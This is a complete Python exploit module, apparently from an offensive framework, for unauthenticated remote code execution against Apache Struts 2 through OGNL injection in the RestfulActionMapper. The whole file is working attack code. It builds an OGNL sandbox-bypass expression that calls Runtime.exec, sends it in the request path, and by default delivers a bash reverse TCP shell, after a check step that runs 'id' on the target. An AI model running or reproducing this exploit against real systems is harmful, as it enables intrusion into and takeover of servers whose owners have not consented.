Apache Struts 2 RestfulActionMapper OGNL RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Struts 2 RestfulActionMapper OGNL injection unauthenticated RCE."""

from __future__ import annotations

import re
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Apache Struts 2 RestfulActionMapper OGNL RCE",
        "description": (
            "Apache Struts 2.6.11.x with struts.mapper.class=restful and wildcard {1} "
            "result dispatch: OGNL in the action name reaches Runtime.exec via "
            "java.beans.Statement / Expression sandbox bypass."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.MULTI,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["apache", "struts", "ognl", "rce", "unauth"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/struts2_restful_mapper_ognl_rce_detect"],
            },
        },
    }

    port = OptPort(8080, "Struts HTTP port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=False)

    @staticmethod
    def _build_ognl(cmd: str) -> str:
        safe_cmd = str(cmd).replace("'", "\\'")
        return (
            "new java.beans.Statement("
            "new java.beans.Expression(@java.lang.Runtime@class,"
            "'getRuntime',new java.lang.Object[0]).getValue(),"
            "'exec',new java.lang.Object[]{new java.lang.String[]{'sh','-c','%s'}}"
            ").execute()" % safe_cmd
        )

    def execute(self, cmd: str) -> str:
        if "/" in cmd:
            raise ValueError("Command must not contain '/' (RestfulActionMapper path split)")
        ognl = self._build_ognl(cmd)
        path = "/" + quote("%{" + ognl + "}", safe="") + "/x"
        resp = self.http_request("GET", path, allow_redirects=False)
        loc = resp.headers.get("Location") if resp else None
        return f"HTTP {getattr(resp, 'status_code', '?')} Location={loc}"

    def check(self):
        resp_text = self.execute("id")
        if "Location=" in str(resp_text):
            return {
                "vulnerable": True,
                "reason": "OGNL dispatch accepted",
                "confidence": "medium",
            }
        return {"vulnerable": False, "reason": str(resp_text), "confidence": "low"}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False

        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not vulnerable"))
            self.not_vulnerable()
            return False

        print_status("Dispatching OGNL payload")
        print_info(self.execute(shell)[:8000])

        print_success("Payload delivered — waiting for handler session")
        return True